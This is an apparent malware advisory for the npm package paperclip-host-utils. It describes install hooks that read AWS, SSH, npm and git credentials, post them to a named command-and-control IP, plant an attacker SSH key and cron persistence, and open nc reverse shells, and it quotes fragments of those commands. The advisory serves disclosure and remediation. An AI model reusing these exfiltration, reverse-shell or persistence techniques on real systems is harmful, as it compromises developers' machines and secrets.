🛡️ MAL-2026-6947 — paperclip-host-utils

Malicious code in paperclip-host-utils (npm)

The package 'paperclip-host-utils' is a purpose-built malware package published by the npm account 'srm0rgan' ([email protected]) as part of a coordinated campaign of fake 'Paperclip' VPS-maintenance adapters (siblings: paperclip2, vps-maintenance, vps-maintenance-paperclip-adapter, vps-adapter-core). Its runtime code (dist/server/execute.js) presents as a legitimate Paperclip external adapter that runs maintenance shell commands locally or over SSH, which is social-engineering cover for the install-time payload.

From version 1.0.2 onward the package declares a malicious install hook that npm runs automatically during npm install. The hooked script and payload were repeatedly changed across rapid same-day republishes (1.0.2-1.0.7), an evasion tactic, cycling through three payload variants that all beacon to the hardcoded C2 185.112.147.174:

• Versions 1.0.2-1.0.5 (postinstall -> node dist/postinstall.js): a persistence + backdoor payload. It appends the attacker's ed25519 key (comment deploy@paperclip-host, AAAAC3NzaC1lZDI1NTE5AAAAIDGA+v9tfK8YVeZejZN2y99mNvefRmQx99lJtjKjIAK2) to authorized_keys for /root, /home/runner, /home/paperclip, /home/ec2-user, /home/centos and /home/ubuntu; installs a crontab entry and /etc/cron.d/paperclip-adapter-sync that run a mkfifo+nc reverse shell to 185.112.147.174:443 every minute; and launches a mkfifo+nc reverse-shell loop across ports 443, 80, 8080, 7007, 4444, 5555, 1337 and 9001.
• Version 1.0.6 (postinstall -> node dist/setup.js): a credential stealer disguised as 'npm-compatible telemetry and diagnostics'. It collects whoami/hostname/id/pwd, the full process environment, git remote/git config, sudo and docker status, and reads AWS credentials/config, SSH private keys, .npmrc, .netrc, .git-credentials, Docker config, /home/runner/* CI credentials, and .github/workflows files; base64-encodes the data and exfiltrates it in chunks via HTTP POST to http://185.112.147.174:8080/npm/v1/security/audits/quick (spoofing an npm audit request), then spawns mkfifo+nc reverse shells across the same eight ports in a loop.
• Version 1.0.7 (postinstall -> node dist/postinstall.js): a minimal single reverse shell that connects to 185.112.147.174:443 and pipes a spawned /bin/sh over the socket.

Version 1.0.0 shipped no install hook (the initial hookless facade); the package is malicious from inception as part of the campaign. Any developer workstation or CI job that ran npm install paperclip-host-utils at version 1.0.2 or later must be considered fully compromised; rotate all reachable credentials, tokens, and SSH keys from a separate clean machine and remove the attacker key from authorized_keys, the injected crontab entry, and /etc/cron.d/paperclip-adapter-sync.

Source: amazon-inspector

On npm install, package.json's postinstall executes dist/setup.js and dist/postinstall.js. The scripts read installer-side secrets — ~/.aws/credentials, ~/.aws/config, ~/.ssh/id_rsa, ~/.ssh/id_ed25519, ~/.npmrc, ~/.netrc, ~/.git-credentials, ~/.docker/config.json, GitHub Actions runner paths,.github/workflows contents, and the full process.env — and POST them base64-chunked to http://185.112.147.174:8080/npm/v1/security/audits/quick and http://185.112.147.174:8080/exfil (path disguised as an npm audit endpoint). A find sweep across /home/runner, /home/devuser, /work, and /root harvests files matching flag*, *.env, secret*, token*, credentials, and *.kubeconfig — purpose-built for GitHub Actions and CI runners. After exfiltration, a detached shell opens named-pipe reverse shells (mkfifo /tmp/.f; /bin/sh -i... nc 185.112.147.174 <port>) in an infinite loop across ports 443, 80, 8080, 7007, 4444, 5555, 1337, and 9001. A sibling routine appends an attacker-controlled ssh-ed25519 key (deploy@paperclip-host) to authorized_keys under /root, /home/runner, /home/devuser, /home/paperclip, /home/ec2-user, and /home/centos, and installs /etc/cron.d/paperclip-adapter-sync plus a user crontab entry that calls back to 185.112.147.174:443 every minute. The package name and README impersonate the @paperclipai adapter family as social-engineering cover; the declared dependency @paperclipai/adapter-utils is pinned to a suspicious ^2026.626.0. Any machine or CI runner that runs npm install on this package is credential-compromised and backdoored.

Source: ghsa-malware

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.